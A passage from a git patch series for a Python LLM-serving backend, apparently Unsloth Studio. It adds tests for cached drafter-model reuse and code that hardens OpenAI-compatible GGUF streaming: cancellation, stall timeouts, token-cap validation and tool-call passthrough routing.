+    assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it.gguf"
+
+
+def test_download_mtp_reuse_follows_snapshot_order_offline(tmp_path, monkeypatch):
+    # Two snapshots both hold a root drafter; newest-first order must win so a
+    # fresh main GGUF is not paired with a stale drafter revision.
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    newest = _seed_snapshot(tmp_path / "newest", ["mtp-gemma-4-E4B-it.gguf"])
+    oldest = _seed_snapshot(tmp_path / "oldest", ["mtp-gemma-4-E4B-it.gguf"])
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [newest, oldest])
+
+    got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+    assert got is not None and Path(got).parent.parent.name == "newest"
+
+
+def test_download_mtp_online_skips_cache_reuse(tmp_path, monkeypatch):
+    # Online, do not reuse a cached copy: go to the download path so a changed
+    # drafter is refetched (hf_hub_download checks the current revision).
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    snap = _seed_snapshot(tmp_path, ["mtp-gemma-4-E4B-it.gguf"])
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap])
+
+    reached = {}
+
+    def _fake_companion(
+        *,
+        hf_repo,
+        hf_token,
+        pick,
+        label,
+        cancel_event = None,
+    ):
+        reached["hit"] = True
+        return None
+
+    b = LlamaCppBackend()
+    b._download_companion_gguf = _fake_companion
+    assert b._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") is None
+    assert reached.get("hit") is True

From 6a9b77ee3795b57dff250b67a3fceab3e7affc1c Mon Sep 17 00:00:00 2001
From: Apoze <158856608+Apoze@users.noreply.github.com>
Date: Thu, 9 Jul 2026 17:09:08 +0200
Subject: [PATCH 293/306] Studio: harden OpenAI-compatible GGUF streaming
 (#6950)

---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    |   16 +-
 studio/backend/routes/inference.py            |  956 +++++++--
 .../test_inference_dispatcher_resilience.py   |    2 +-
 .../tests/test_llama_cpp_stream_cancel.py     |   81 +
 .../tests/test_llama_route_timeouts.py        |   84 +
 .../tests/test_openai_tool_passthrough.py     | 1875 ++++++++++++++++-
 .../backend/tests/test_passthrough_healing.py |    1 +
 7 files changed, 2814 insertions(+), 201 deletions(-)
 create mode 100644 studio/backend/tests/test_llama_cpp_stream_cancel.py

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 7d782fbbdd..c2e3adf815 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -100,6 +100,10 @@ class LlamaServerNotFoundError(RuntimeError):
     Subclasses RuntimeError so existing handlers still catch it."""
 
 
+class _LlamaStreamCancelled(Exception):
+    """Internal signal for an expected client/request cancellation."""
+
+
 # Shared so the from_identifier preflight and the load-time raise stay in sync.
 LLAMA_SERVER_NOT_FOUND_DETAIL = (
     "This is a GGUF model, but the llama.cpp runtime (llama-server) is not "
@@ -8616,7 +8620,7 @@ class LlamaCppBackend:
     ):
         """Open one streaming POST and let cancel interrupt prefill or reads."""
         if cancel_event is not None and cancel_event.is_set():
-            raise GeneratorExit
+            raise _LlamaStreamCancelled
 
         _cancel_closed = threading.Event()
         _response_ref: list = [None]
@@ -8661,13 +8665,13 @@ class LlamaCppBackend:
             ) as response:
                 _response_ref[0] = response
                 if cancel_event is not None and cancel_event.is_set():
-                    raise GeneratorExit
+                    raise _LlamaStreamCancelled
                 yield response
                 return
         except (httpx.RequestError, RuntimeError):
             # Response was closed by the cancel watcher
             if cancel_event is not None and cancel_event.is_set():
-                raise GeneratorExit
+                raise _LlamaStreamCancelled
             raise
         finally:
             _cancel_closed.set()
@@ -8870,6 +8874,8 @@ class LlamaCppBackend:
                         "finish_reason": _metadata_finish_reason,
                     }
 
+        except _LlamaStreamCancelled:
+            return
         except httpx.ConnectError as e:
             # Server already down. If this was an MTP+tensor crash, recover by
             # reloading without MTP (scheduled in the background) and fail this
@@ -9994,6 +10000,8 @@ class LlamaCppBackend:
                         break
                 continue
 
+            except _LlamaStreamCancelled:
+                return
             except httpx.ConnectError:
                 # Mark unresolved provisional cards as failed before raising.
                 for _pid, _pname in provisional_started_tool_calls.items():
@@ -10176,6 +10184,8 @@ class LlamaCppBackend:
                 if _meta is not None:
                     yield _meta
 
+        except _LlamaStreamCancelled:
+            return
         except httpx.ConnectError:
             raise RuntimeError("Lost connection to llama-server")
         except Exception as e:
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 1e39c6d129..826669d922 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -13,7 +13,7 @@ from pathlib import Path
 from fastapi import APIRouter, Depends, HTTPException, Request, status
 from fastapi.responses import StreamingResponse, JSONResponse, Response
 from starlette.requests import ClientDisconnect
-from typing import Any, List, Optional, Union
+from typing import Any, Callable, List, Optional, Union
 import json
 import httpx
 from loggers import get_logger
@@ -268,10 +268,87 @@ def _effective_max_tokens(payload):
     )
 
 
+_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV = "UNSLOTH_OPENAI_COMPAT_STREAM_STALL_TIMEOUT"
+
+
+def _positive_float_env(env_name: str, default):
+    """Parse a positive float from an env var. A parseable non-positive value
+    returns ``None`` (0 disables the guarded feature); only unparseable or unset
+    values fall back to ``default``."""
+    raw_value = os.environ.get(env_name)
+    if raw_value is None or not raw_value.strip():
+        return default
+    try:
+        value = float(raw_value.strip())
+    except ValueError:
+        return default
+    return value if value > 0 else None
+
+
+def _effective_openai_max_tokens_from_values(max_tokens, max_completion_tokens = None):
+    """Resolve the OpenAI-compatible generation cap from raw request values.
+
+    Prefers ``max_completion_tokens`` over the deprecated ``max_tokens``, and
+    returns ``None`` when both are omitted so callers keep their context-window
+    default (OpenAI treats an omitted cap as bounded only by the context
+    window). Explicit client caps pass through unchanged.
+    """
+
+    def _validate_explicit(value, param: str):
+        if value is None:
+            return None
+        if isinstance(value, bool) or not isinstance(value, int):
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    f"'{param}' must be an integer.",
+                    status = 400,
+                    code = "invalid_type",
+                    param = param,
+                ),
+            )
+        # The legacy completions spec declares ``minimum: 0`` for max_tokens,
+        # so 0 is a valid (if degenerate) cap and only negatives are rejected.
+        # The chat fields never reach here with 0 (pydantic enforces ge=1).
+        if value < 0:
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    f"'{param}' must be at least 0.",
+                    status = 400,
+                    code = "invalid_value",
+                    param = param,
+                ),
+            )
+        return value
+
+    max_tokens = _validate_explicit(max_tokens, "max_tokens")
+    max_completion_tokens = _validate_explicit(max_completion_tokens, "max_completion_tokens")
+    return max_completion_tokens if max_completion_tokens is not None else max_tokens
+
+
+def _effective_openai_max_tokens(payload):
+    return _effective_openai_max_tokens_from_values(
+        getattr(payload, "max_tokens", None),
+        getattr(payload, "max_completion_tokens", None),
+    )
+
+
 def _wants_multiple_choices(payload) -> bool:
     return (payload.n or 1) > 1
 
 
+def _has_openai_tool_history(messages) -> bool:
+    for message in messages or []:
+        if isinstance(message, dict):
+            if message.get("role") == "tool" or message.get("tool_calls"):
+                return True
+            continue
+        if getattr(message, "role", None) == "tool" or getattr(message, "tool_calls", None):
+            return True
+    return False
+
+
 def _raise_unsupported_openai_parameter(param: str, message: str) -> None:
     raise HTTPException(
         status_code = 400,
@@ -331,6 +408,14 @@ def _openai_stream_error_chunk(exc) -> dict:
     return openai_error_body(_friendly_error(exc), status = 500)
 
 
+def _openai_stream_error_sse(error: dict) -> str:
+    return f"data: {json.dumps(error)}\n\ndata: [DONE]\n\n"
+
+
+def _openai_stream_error_sse_bytes(error: dict) -> bytes:
+    return _openai_stream_error_sse(error).encode("utf-8")
+
+
 def _openai_passthrough_error(status_code, text) -> "HTTPException":
     """HTTPException for a non-200 upstream response on the OpenAI passthrough
     (tools / response_format). An over-context upstream error is mapped to a 400
@@ -545,20 +630,62 @@ def _drop_parallel_tool_call_deltas(chunk) -> bool:
     return changed
 
 
-def _cap_parallel_tool_calls_sse_line(raw_line: str) -> str:
-    """Drop tool_call deltas whose index >= 1 from one streamed OpenAI SSE
-    ``data:`` line so only the first tool call survives (parallel_tool_calls=false,
-    best-effort). Non-tool / unparseable payloads are returned byte-for-byte."""
-    payload = raw_line[len("data: ") :]
+def _add_empty_content_to_reasoning_deltas(chunk: dict) -> bool:
+    """Make reasoning-only deltas palatable to strict OpenAI adapters.
+
+    Some clients built on OpenAI-compatible streams ignore or reject chunks whose
+    delta only contains non-standard ``reasoning_content``. Preserve that field,
+    but add an empty standard ``content`` member so the chunk is still a valid
+    text-delta shape and downstream parsers keep the stream alive.
+    """
+    changed = False
+    choices = chunk.get("choices")
+    if not isinstance(choices, list):
+        return False
+    for choice in choices:
+        if not isinstance(choice, dict):
+            continue
+        delta = choice.get("delta")
+        if not isinstance(delta, dict):
+            continue
+        if "reasoning_content" in delta and "content" not in delta:
+            delta["content"] = ""
+            changed = True
+    return changed
+
+
+def _normalize_openai_passthrough_sse_line(
+    raw_line: str, *, cap_parallel_tool_calls: bool = False
+) -> str:
+    """Normalize one passthrough OpenAI SSE ``data:`` line before relaying.
+
+    The function is intentionally narrow: it leaves comments, blank events,
+    ``[DONE]``, and unparseable upstream bytes untouched; parsed chunks are
+    re-serialized only when a compatibility mutation is actually required.
+    """
+    if not raw_line.startswith("data:"):
+        return raw_line
+    # Both mutations key off JSON object keys, so a line without either quoted
+    # key can never change; skip the parse on the per-token common case.
+    if '"reasoning_content"' not in raw_line and not (
+        cap_parallel_tool_calls and '"tool_calls"' in raw_line
+    ):
+        return raw_line
+    payload = raw_line[len("data:") :].lstrip()
     if payload.strip() in ("", "[DONE]"):
         return raw_line
     try:
         obj = json.loads(payload)
     except Exception:
         return raw_line
-    if not _drop_parallel_tool_call_deltas(obj):
+    if not isinstance(obj, dict):
         return raw_line
-    return "data: " + json.dumps(obj, separators = (",", ":"))
+    changed = _add_empty_content_to_reasoning_deltas(obj)
+    if cap_parallel_tool_calls and _drop_parallel_tool_call_deltas(obj):
+        changed = True
+    if not changed:
+        return raw_line
+    return "data: " + json.dumps(obj, separators = (",", ":"), ensure_ascii = False)
 
 
 def _prompt_tokens_details(upstream):
@@ -575,6 +702,49 @@ def _wants_stream_usage(payload) -> bool:
     return bool((payload.stream_options or {}).get("include_usage"))
 
 
+_OPENAI_PASSTHROUGH_TERMINAL_GRACE_S = 2.0
+_SSE_DONE_LINE = "data: [DONE]"
+
+
+def _openai_passthrough_sse_line_terminal_state(raw_line: str) -> Optional[str]:
+    """Classify OpenAI-compatible chat stream terminal markers.
+
+    Some llama-server builds can emit the logical final chunk (``finish_reason``)
+    and optional usage chunk, then keep the HTTP stream open without sending the
+    OpenAI ``data: [DONE]`` sentinel. Classifying those chunks lets Studio close
+    the client stream promptly while preserving an optional trailing usage chunk.
+    """
+    if not raw_line.startswith("data:"):
+        return None
+    data_str = raw_line[5:].lstrip()
+    if data_str == "[DONE]":
+        return "done"
+    try:
+        data = json.loads(data_str)
+    except json.JSONDecodeError:
+        return None
+    return _openai_passthrough_terminal_state_from_data(data)
+
+
+def _openai_passthrough_terminal_state_from_data(data) -> Optional[str]:
+    """Dict-level core of ``_openai_passthrough_sse_line_terminal_state`` for
+    callers that already parsed the chunk (avoids a re-parse per relayed line)."""
+    if not isinstance(data, dict):
+        return None
+    if _monitor_openai_error_message(data):
+        return "error"
+    choices = data.get("choices")
+    if isinstance(choices, list):
+        if not choices and isinstance(data.get("usage"), dict):
+            return "usage"
+        for choice in choices:
+            if isinstance(choice, dict) and choice.get("finish_reason") is not None:
+                return "finish"
+    elif isinstance(data.get("usage"), dict):
+        return "usage"
+    return None
+
+
 def _openai_stream_usage_chunk(
     payload, completion_id, created, model_name, stream_usage, stream_timings
 ):
@@ -641,12 +811,16 @@ def _chat_content_chunk(completion_id, created, model_name, text) -> str:
 
 
 def _chat_reasoning_chunk(completion_id, created, model_name, text) -> str:
-    """Like ``_chat_content_chunk`` but on ``reasoning_content`` (renders the UI thinking block)."""
+    """Like ``_chat_content_chunk`` but on ``reasoning_content`` (renders the UI thinking block).
+
+    Carries ``content: ""`` alongside, like the GGUF and passthrough paths, so
+    strict OpenAI adapters don't drop the reasoning-only delta.
+    """
     return _chat_chunk_sse(
         completion_id,
         created,
         model_name,
-        delta = ChoiceDelta(reasoning_content = text),
+        delta = ChoiceDelta(content = "", reasoning_content = text),
         finish_reason = None,
     )
 
@@ -881,8 +1055,11 @@ def _llama_streaming_generation_timeout() -> httpx.Timeout:
 
 
 def _set_stream_response_read_timeout(
-    response: httpx.Response, read_timeout_s: float = _DEFAULT_STREAM_STALL_TIMEOUT_S
+    response: httpx.Response, read_timeout_s: Optional[float] = _DEFAULT_STREAM_STALL_TIMEOUT_S
 ) -> None:
+    # ``read_timeout_s = None`` clears httpx's read timeout (wait indefinitely),
+    # used when the stall guard is disabled so a stale first-token deadline
+    # can't keep timing out post-first-chunk gaps.
     try:
         timeout_ext = response.request.extensions.get("timeout")
         if isinstance(timeout_ext, dict):
@@ -893,6 +1070,31 @@ def _set_stream_response_read_timeout(
 
 _STREAM_DISCONNECT_POLL_TIMEOUT_S = 0.25
 _OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S = 0.1
+_OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S = 5.0
+_OPENAI_PASSTHROUGH_SSE_KEEPALIVE = ": keep-alive\n\n"
+
+
+def _openai_compat_stream_stall_timeout():
+    """Max silent gap after an OpenAI passthrough stream has produced data.
+
+    If the socket goes silent after valid SSE data, this bounds how long the
+    client is kept open. Defaults to the backend-wide stall timeout so this
+    path stalls out like every sibling stream; set the env var to tighten it
+    for local serving, or to 0 to disable the guard.
+    """
+    return _positive_float_env(
+        _OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV,
+        _DEFAULT_STREAM_STALL_TIMEOUT_S,
+    )
+
+
+def _openai_passthrough_upstream_headers(*, llama_backend = None) -> dict:
+    headers = {}
+    auth_headers = getattr(llama_backend, "_auth_headers", None)
+    if isinstance(auth_headers, dict):
+        headers.update(auth_headers)
+    headers["Connection"] = "close"
+    return headers
 
 
 class _CompatSameTaskTimeout:
@@ -1020,7 +1222,8 @@ async def _aclose_stream_resources(
     """Tear down an httpx streaming generator's resources in the required order:
     cancel + await each watcher task, then aclose() the byte/line iterator, the
     response, and the client. Each step swallows its own exceptions so teardown
-    always completes. See _anthropic_passthrough_stream for the ordering rationale."""
+    always completes; a close-time CancelledError is re-raised only after every
+    step has run. See _anthropic_passthrough_stream for the ordering rationale."""
     for watcher in watchers:
         if watcher is not None:
             watcher.cancel()
@@ -1028,21 +1231,30 @@ async def _aclose_stream_resources(
                 await watcher
             except (asyncio.CancelledError, Exception):
                 pass
+    close_cancelled = False
     if iterator is not None:
         try:
             await iterator.aclose()
+        except asyncio.CancelledError:
+            close_cancelled = True
         except Exception:
             pass
     if resp is not None:
         try:
             await resp.aclose()
+        except asyncio.CancelledError:
+            close_cancelled = True
         except Exception:
             pass
     if client is not None:
         try:
             await client.aclose()
+        except asyncio.CancelledError:
+            close_cancelled = True
         except Exception:
             pass
+    if close_cancelled:
+        raise asyncio.CancelledError()
 
 
 async def _preheader_cancelled(cancel_event = None, request: Optional[Request] = None) -> bool:
@@ -1065,6 +1277,7 @@ async def _send_stream_with_preheader_cancel(
     req: httpx.Request,
     cancel_event = None,
     request: Optional[Request] = None,
+    mark_cancel_on_cancel: bool = True,
 ) -> Optional[httpx.Response]:
     if cancel_event is None and request is None:
         return await client.send(req, stream = True)
@@ -1096,7 +1309,7 @@ async def _send_stream_with_preheader_cancel(
         await _stop_send_task()
         return None
     except asyncio.CancelledError:
-        if cancel_event is not None:
+        if mark_cancel_on_cancel and cancel_event is not None:
             cancel_event.set()
         await _stop_send_task()
         raise
@@ -1115,11 +1328,19 @@ async def _aiter_llama_stream_items(
     request: Optional[Request] = None,
     first_token_deadline: Optional[float] = None,
     response: Optional[httpx.Response] = None,
-    post_first_item_read_timeout_s: Optional[float] = _DEFAULT_STREAM_STALL_TIMEOUT_S,
+    post_first_item_read_timeout_s: Optional[
+        Union[float, Callable[[], Optional[float]]]
+    ] = _DEFAULT_STREAM_STALL_TIMEOUT_S,
 ):
     if first_token_deadline is None:
         first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
     last_item_at: Optional[float] = None
+
+    def _post_first_timeout_s() -> Optional[float]:
+        if callable(post_first_item_read_timeout_s):
+            return post_first_item_read_timeout_s()
+        return post_first_item_read_timeout_s
+
     while True:
         if cancel_event is not None and cancel_event.is_set():
             return
@@ -1140,15 +1361,14 @@ async def _aiter_llama_stream_items(
                 async with _same_task_timeout(remaining_s):
                     item = await async_iter.__anext__()
             else:
+                timeout_s = _post_first_timeout_s()
                 if (
                     request is not None
                     and response is not None
-                    and post_first_item_read_timeout_s is not None
+                    and timeout_s is not None
                     and last_item_at is not None
                 ):
-                    stall_remaining_s = post_first_item_read_timeout_s - (
-                        time.monotonic() - last_item_at
-                    )
+                    stall_remaining_s = timeout_s - (time.monotonic() - last_item_at)
                     if stall_remaining_s <= 0:
                         raise httpx.ReadTimeout("The model stopped producing tokens mid-response.")
                     _set_stream_response_read_timeout(response, stall_remaining_s)
@@ -1165,19 +1385,16 @@ async def _aiter_llama_stream_items(
                 if now >= first_token_deadline:
                     raise
                 continue
-            if (
-                request is not None
-                and post_first_item_read_timeout_s is not None
-                and now - last_item_at < post_first_item_read_timeout_s
-            ):
+            timeout_s = _post_first_timeout_s()
+            if request is not None and timeout_s is not None and now - last_item_at < timeout_s:
                 continue
             raise httpx.ReadTimeout("The model stopped producing tokens mid-response.")
-        if (
-            last_item_at is None
-            and response is not None
-            and post_first_item_read_timeout_s is not None
-        ):
-            _set_stream_response_read_timeout(response, post_first_item_read_timeout_s)
+        if last_item_at is None and response is not None:
+            # The first-token read deadline no longer applies once a chunk has
+            # arrived: switch to the stall timeout, or clear the read timeout
+            # entirely when the stall guard is disabled (callable returns None)
+            # so a long gap can't trip the stale first-token deadline.
+            _set_stream_response_read_timeout(response, _post_first_timeout_s())
         last_item_at = time.monotonic()
         yield item
 
@@ -1556,6 +1773,20 @@ def _effective_enable_tools(payload) -> Optional[bool]:
     return policy if policy is not None else payload.enable_tools
 
 
+def _explicit_studio_tool_loop_requested(payload) -> bool:
+    """True when the request itself asks Studio to execute local tools.
+
+    Process-wide CLI policy can default Studio's tool loop on for ordinary chat,
+    but it must not steal OpenAI-compatible client tools or response_format
+    requests from the llama-server passthrough path. A policy of ``False``
+    (--disable-tools) vetoes even an explicit ``enable_tools: true`` ask.
+    """
+    from state.tool_policy import get_tool_policy
+
+    policy = get_tool_policy()
+    return policy is not False and (payload.enable_tools is True or bool(payload.mcp_enabled))
+
+
 # Cancel registry. Proxies (e.g. Colab) can swallow client fetch aborts so
 # is_disconnected() never fires. POST /inference/cancel looks up in-flight
 # cancel_events here by cancel_id (per-run) or session_id / completion_id
@@ -1696,6 +1927,39 @@ async def _await_disconnect_then_cancel(request, cancel_event) -> None:
         return
 
 
+def _cancelable_nonstreaming_client() -> httpx.AsyncClient:
+    return httpx.AsyncClient(
+        limits = httpx.Limits(max_connections = 1, max_keepalive_connections = 0),
+        trust_env = False,
+    )
+
+
+async def _await_cancel_or_disconnect_then_close_client(
+    *, cancel_event, request: Optional[Request], client: httpx.AsyncClient
+) -> None:
+    """Close a dedicated non-streaming upstream client on cancel/disconnect.
+
+    The shared ``nonstreaming_client()`` is pooled, so cancelable generation calls
+    use a per-request client. Closing it interrupts a blocked llama-server
+    request without affecting unrelated pooled non-streaming calls.
+    """
+    try:
+        while True:
+            if cancel_event is not None and cancel_event.is_set():
+                break
+            if request is not None and await request.is_disconnected():
+                if cancel_event is not None:
+                    cancel_event.set()
+                break
+            await asyncio.sleep(0.1)
+        try:
+            await client.aclose()
+        except Exception:
+            pass
+    except asyncio.CancelledError:
+        return
+
+
 async def _stop_local_disconnect_cancel_watcher(watcher) -> None:
     watcher.cancel()
     try:
@@ -6090,11 +6354,11 @@ async def openai_chat_completions(
     # unaware of `role="tool"` messages and assistant messages that only
     # carry `tool_calls` (content=None) — both of which are valid in
     # multi-turn client-side tool loops.
-    effective_max_tokens = _effective_max_tokens(payload)
+    effective_max_tokens = _effective_openai_max_tokens(payload)
 
     normalized_stop = _normalize_stop_sequences(payload.stop)
 
-    _has_tool_messages = any(m.role == "tool" or m.tool_calls for m in payload.messages)
+    _has_tool_messages = _has_openai_tool_history(payload.messages)
     # Route guided-decoding requests through the verbatim passthrough so
     # ``response_format`` (JSON schema) reaches llama-server and the model's
     # GBNF-constrained output comes back unmodified. The non-passthrough GGUF
@@ -6103,13 +6367,43 @@ async def openai_chat_completions(
     # free-form sampling. Guided decoding does not require ``supports_tools`` --
     # the grammar machinery is independent of tool-call parsing.
     _has_response_format = _extract_response_format(payload) is not None
-    _tools_passthrough = getattr(
+    _has_tool_catalog = bool(payload.tools and len(payload.tools) > 0)
+    _has_active_tool_catalog = _has_tool_catalog and payload.tool_choice != "none"
+    _has_client_tool_contract = _has_active_tool_catalog or _has_tool_messages
+    # The Studio tool loop needs a tool-capable backend, so a request that asks
+    # for it on a backend that can't run it (DiffusionGemma forces supports_tools
+    # off) must not steal client tools from the passthrough (#6851).
+    _studio_tool_loop_requested = (
+        _explicit_studio_tool_loop_requested(payload) and llama_backend.supports_tools
+    )
+    _client_disabled_tool_calls = payload.tool_choice == "none" and not _studio_tool_loop_requested
+    _supports_tool_passthrough = getattr(
         llama_backend, "supports_tool_passthrough", llama_backend.supports_tools
-    ) and ((payload.tools and len(payload.tools) > 0) or _has_tool_messages)
-    # DiffusionGemma keeps supports_tools off, so the server-side tool loop can't
-    # claim the request; fall through to client passthrough, matching /v1/messages.
-    _server_tool_loop = _effective_enable_tools(payload) and llama_backend.supports_tools
-    if using_gguf and not _server_tool_loop and (_tools_passthrough or _has_response_format):
+    )
+    _tools_passthrough = _supports_tool_passthrough and _has_client_tool_contract
+    if (
+        using_gguf
+        and not _studio_tool_loop_requested
+        and _has_client_tool_contract
+        and not _supports_tool_passthrough
+    ):
+        raise _reject(
+            400,
+            openai_error_body(
+                (
+                    "Client-supplied tools or tool-call history require a GGUF chat template "
+                    "with tool-call support; the current model/template does not advertise tools."
+                ),
+                status = 400,
+                code = "unsupported_parameter",
+                param = "tools" if payload.tools else "messages",
+            ),
+        )
+    if (
+        using_gguf
+        and not _studio_tool_loop_requested
+        and (_tools_passthrough or _has_response_format)
+    ):
         if _wants_multiple_choices(payload):
             raise _reject_unsupported_n("GGUF tool or response_format passthrough")
         if payload.audio_base64:
@@ -6153,12 +6447,20 @@ async def openai_chat_completions(
                 completion_id,
                 monitor_id = monitor_id,
             )
-        return await _openai_passthrough_non_streaming(
-            llama_backend,
-            payload,
-            model_name,
-            monitor_id = monitor_id,
-        )
+        _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
+        _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
+        _tracker.__enter__()
+        try:
+            return await _openai_passthrough_non_streaming(
+                llama_backend,
+                payload,
+                model_name,
+                monitor_id = monitor_id,
+                request = request,
+                cancel_event = cancel_event,
+            )
+        finally:
+            _tracker.__exit__(None, None, None)
 
     # ── Parse messages (handles multimodal content parts) ─────
     # Reuse the pre-hook parse when auto-switch did it, else parse now.
@@ -6218,6 +6520,8 @@ async def openai_chat_completions(
             )
 
         def _gguf_chat_delta_line(delta: ChoiceDelta, finish_reason = None) -> str:
+            if delta.reasoning_content is not None and delta.content is None:
+                delta = delta.model_copy(update = {"content": ""})
             chunk = ChatCompletionChunk(
                 id = completion_id,
                 created = created,
@@ -6241,8 +6545,12 @@ async def openai_chat_completions(
         from state.tool_policy import get_tool_policy as _get_tool_policy_g
 
         _cli_policy = _get_tool_policy_g()
-        _tools_on = _effective_enable_tools(payload)
-        _mcp_allowed = bool(payload.mcp_enabled) and _cli_policy is not False
+        _tools_on = False if _client_disabled_tool_calls else _effective_enable_tools(payload)
+        _mcp_allowed = (
+            not _client_disabled_tool_calls
+            and bool(payload.mcp_enabled)
+            and _cli_policy is not False
+        )
         use_tools = (_tools_on or _mcp_allowed) and llama_backend.supports_tools
 
         if use_tools:
@@ -6497,7 +6805,7 @@ async def openai_chat_completions(
                     # Recover if an MTP+tensor crash killed the server mid-stream.
                     get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                     error_chunk = _openai_stream_error_chunk(e)
-                    yield f"data: {json.dumps(error_chunk)}\n\n"
+                    yield _openai_stream_error_sse(error_chunk)
                 finally:
                     await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                     if gen is not None:
@@ -6664,6 +6972,9 @@ async def openai_chat_completions(
                 disconnect_watcher = asyncio.create_task(
                     _await_disconnect_then_cancel(request, cancel_event)
                 )
+                gen = None
+                next_task = None
+                stream_completed = False
                 try:
                     yield _chat_role_chunk(completion_id, created, model_name)
 
@@ -6682,7 +6993,14 @@ async def openai_chat_completions(
                             cancel_event.set()
                             api_monitor.finish(monitor_id, "cancelled")
                             return
-                        cumulative = await asyncio.to_thread(next, gen, _gguf_sentinel)
+                        next_task = asyncio.create_task(
+                            asyncio.to_thread(next, gen, _gguf_sentinel)
+                        )
+                        try:
+                            cumulative = await asyncio.shield(next_task)
+                        finally:
+                            if next_task.done():
+                                next_task = None
                         if cumulative is _gguf_sentinel:
                             break
                         # Capture server metadata for the final usage chunk
@@ -6751,6 +7069,7 @@ async def openai_chat_completions(
                     api_monitor.finish(
                         monitor_id, "cancelled" if cancel_event.is_set() else "completed"
                     )
+                    stream_completed = True
                     yield "data: [DONE]\n\n"
 
                 except asyncio.CancelledError:
@@ -6761,10 +7080,39 @@ async def openai_chat_completions(
                     logger.error(f"Error during GGUF streaming: {e}", exc_info = True)
                     api_monitor.fail(monitor_id, _friendly_error(e))
                     error_chunk = _openai_stream_error_chunk(e)
-                    yield f"data: {json.dumps(error_chunk)}\n\n"
+                    yield _openai_stream_error_sse(error_chunk)
                 finally:
-                    await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
-                    _tracker.__exit__(None, None, None)
+                    try:
+                        if not stream_completed:
+                            cancel_event.set()
+                        task_to_drain = next_task
+                        next_task = None
+                        while task_to_drain is not None and not task_to_drain.done():
+                            try:
+                                await asyncio.shield(task_to_drain)
+                            except asyncio.CancelledError:
+                                cancel_event.set()
+                                continue
+                            except Exception:
+                                break
+                        if task_to_drain is not None and task_to_drain.done():
+                            try:
+                                task_to_drain.exception()
+                            except (asyncio.CancelledError, Exception):
+                                pass
+                        if gen is not None and not stream_completed:
+                            try:
+                                await asyncio.to_thread(gen.close)
+                            except (RuntimeError, ValueError):
+                                pass
+                            except Exception:
+                                logger.debug(
+                                    "Error closing GGUF stream generator during cleanup",
+                                    exc_info = True,
+                                )
+                        await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+                    finally:
+                        _tracker.__exit__(None, None, None)
 
             return _SameTaskStreamingResponse(
                 gguf_stream_chunks(),
@@ -6780,54 +7128,91 @@ async def openai_chat_completions(
             try:
                 # ``n`` requests several independent completions; the single
                 # decode slot yields one at a time, so loop sequentially.
-                _n = payload.n or 1
+                drain_task = None
 
-                _choices = []
-                _monitor_replies = []
-                _prompt_tokens = 0
-                _sum_completion = 0
-                _prompt_details = None
-                for _idx in range(_n):
-                    # Stop spawning the remaining choices once cancelled.
-                    if cancel_event.is_set():
-                        break
-                    full_text = ""
-                    completion_usage = None
-                    completion_finish = None
-                    for token in gguf_generate(_idx):
-                        if isinstance(token, dict):
-                            if token.get("type") == "metadata":
-                                completion_usage = token.get("usage")
-                                completion_finish = token.get("finish_reason")
+                async def _drain_cancelled_gguf_task():
+                    if drain_task is None:
+                        return
+                    while not drain_task.done():
+                        try:
+                            await asyncio.shield(drain_task)
+                        except asyncio.CancelledError:
+                            cancel_event.set()
                             continue
-                        full_text = token
+                        except Exception:
+                            break
+                    if drain_task.done():
+                        try:
+                            drain_task.exception()
+                        except (asyncio.CancelledError, Exception):
+                            pass
 
-                    reasoning_text, visible_text = _extract_responses_reasoning(
-                        full_text,
-                        parse_think_markers = _responses_should_parse_think_markers(
-                            payload,
-                            llama_backend,
-                        ),
-                    )
-                    message_kwargs = {"content": visible_text}
-                    if reasoning_text:
-                        message_kwargs["reasoning_content"] = reasoning_text
-                    _choices.append(
-                        CompletionChoice(
-                            index = _idx,
-                            message = CompletionMessage(**message_kwargs),
-                            finish_reason = _clamp_finish_reason(completion_finish),
+                def _drain_gguf_choices():
+                    _n = payload.n or 1
+                    _choices = []
+                    _monitor_replies = []
+                    _prompt_tokens = 0
+                    _sum_completion = 0
+                    _prompt_details = None
+                    for _idx in range(_n):
+                        # Stop spawning the remaining choices once cancelled.
+                        if cancel_event.is_set():
+                            break
+                        full_text = ""
+                        completion_usage = None
+                        completion_finish = None
+                        for token in gguf_generate(_idx):
+                            if isinstance(token, dict):
+                                if token.get("type") == "metadata":
+                                    completion_usage = token.get("usage")
+                                    completion_finish = token.get("finish_reason")
+                                continue
+                            full_text = token
+
+                        reasoning_text, visible_text = _extract_responses_reasoning(
+                            full_text,
+                            parse_think_markers = _responses_should_parse_think_markers(
+                                payload,
+                                llama_backend,
+                            ),
                         )
+                        message_kwargs = {"content": visible_text}
+                        if reasoning_text:
